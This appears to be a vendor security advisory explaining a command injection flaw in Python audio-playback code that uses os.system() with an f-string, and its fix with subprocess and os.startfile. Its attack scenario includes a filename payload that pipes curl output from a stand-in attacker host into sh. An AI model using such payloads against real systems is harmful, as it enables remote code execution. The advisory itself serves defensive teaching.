When Shell Parsing Becomes a Security Hole
A web service that processes voice requests and plays back synthesized audio seems straightforward: fetch text-to-speech output, save it to a temporary file, then play it back to the user. But a single line of code in the audio playback path—a call to os.system() with an f-string—created a critical command injection vulnerability.
The vulnerable code pattern was simple but dangerous:
os.system(f'start "" "{out}"' if os.name == "nt" else f'mpg123 "{out}" >/dev/null 2>&1 &')
The out variable contains a file path. By passing it directly into an f-string that constructs a shell command, the code invited shell metacharacter interpretation. An attacker who could influence the file path—through TEMP environment variable manipulation, symlink creation, or other means—could inject arbitrary shell commands.
Affected Versions
| Affected | not applicable (first-party code) |
| Fixed in | not applicable (first-party code) |
| Ecosystem | N/A |
| CVE / GHSA | not assigned |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
Why This Pattern Is Dangerous
os.system() passes its argument directly to /bin/sh (or cmd.exe on Windows), which parses shell syntax before execution. Any shell metacharacters in the string—$, `, |, ;, &, >, <, (, ), etc.—are interpreted as command operators, not data.
Attack scenario:
- A service writes TTS output to
/tmp/based on a user-supplied ID. - An attacker sets the
TEMPenvironment variable to/tmp/attacker_controlled/. - The attacker creates a file or symlink named
/tmp/attacker_controlled/output$(curl http://attacker.com/shell.sh | sh).mp3. - When the service constructs the
os.system()call with this path, the shell expands$(...)and executes the attacker's script with the service's privileges.
This is a remote code execution vulnerability in a production web service: every request that triggers audio playback could execute attacker-controlled code.
The Fix: Bypass the Shell Entirely
The fix replaces shell invocation with direct subprocess execution and native OS APIs:
if os.name == "nt":
os.startfile(out)
else:
subprocess.Popen(["mpg123", out], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
Why this works:
- Windows:
os.startfile()launches the file with its associated application (the default audio player) without invoking a shell. The file path is passed directly to the OS. - Unix:
subprocess.Popen()with a list argument (not a shell command string) invokes the executable directly, passing each list element as a separate argument. No shell parsing occurs; the file path is data, not syntax.
In both cases, shell metacharacters in the file path are treated as literal characters. A path like /tmp/output$(whoami).mp3 is passed to mpg123 as-is, and mpg123 treats it as a filename, not a command.
Additional Hardening: URL Validation
The fix also adds validation to the ask_api() function:
if not base_url.startswith(("http://", "https://")):
return "[API 调用失败] 仅支持 http/https 后端地址", ""
This prevents protocol confusion attacks where an attacker might pass a malicious backend address (e.g., file://, gopher://) that could trigger unexpected behavior or information disclosure. It's a defense-in-depth measure that ensures the API client only connects to web services.
Key Takeaways
- Never use
os.system()with user-influenced data. Even if you believe the data is "just a file path," shell parsing can be exploited. Usesubprocess.run()orsubprocess.Popen()with a list argument instead. - On Windows, prefer
os.startfile()for launching associated applications. It's faster, simpler, and avoids subprocess overhead entirely while remaining injection-safe. - On Unix, always pass subprocess arguments as a list, never as a string with
shell=True. The list form bypasses shell parsing; the string form does not, even withshell=Falseif you later change the code. - Validate downstream URLs and paths at trust boundaries. The
ask_api()URL check prevents protocol confusion; similar checks should apply anywhere untrusted input shapes a system call. - Temporary file paths are not safe input. TEMP and TMP environment variables are user-controlled on many systems; attackers can set them to directories they control or create symlinks within them.
How Orbis AppSec Detected This
Source: The file path returned from TTS synthesis (out variable) and passed to the audio playback handler.
Sink: The os.system() call with f-string interpolation on line 56 (vulnerable version).
Missing control: No shell escaping (e.g., shlex.quote()) and no use of non-shell subprocess APIs.
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Fix: Replace os.system() with subprocess.Popen() (Unix) and os.startfile() (Windows), both of which invoke executables directly without shell parsing.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Command injection vulnerabilities thrive in the gap between code and shell syntax. By using os.system() with untrusted data—even data as mundane as a file path—developers create an unexpected trust boundary: the shell. Modern Python provides safer alternatives (subprocess.run(), os.startfile()) that execute code directly, without parsing. The fix here is a reminder that file paths and other "data-like" strings are not immune to injection when passed to shell-invoking functions. Always ask: does this function invoke a shell? If yes, never pass user-influenced data to it without explicit shell escaping or, better, without using an API that doesn't parse shell syntax at all.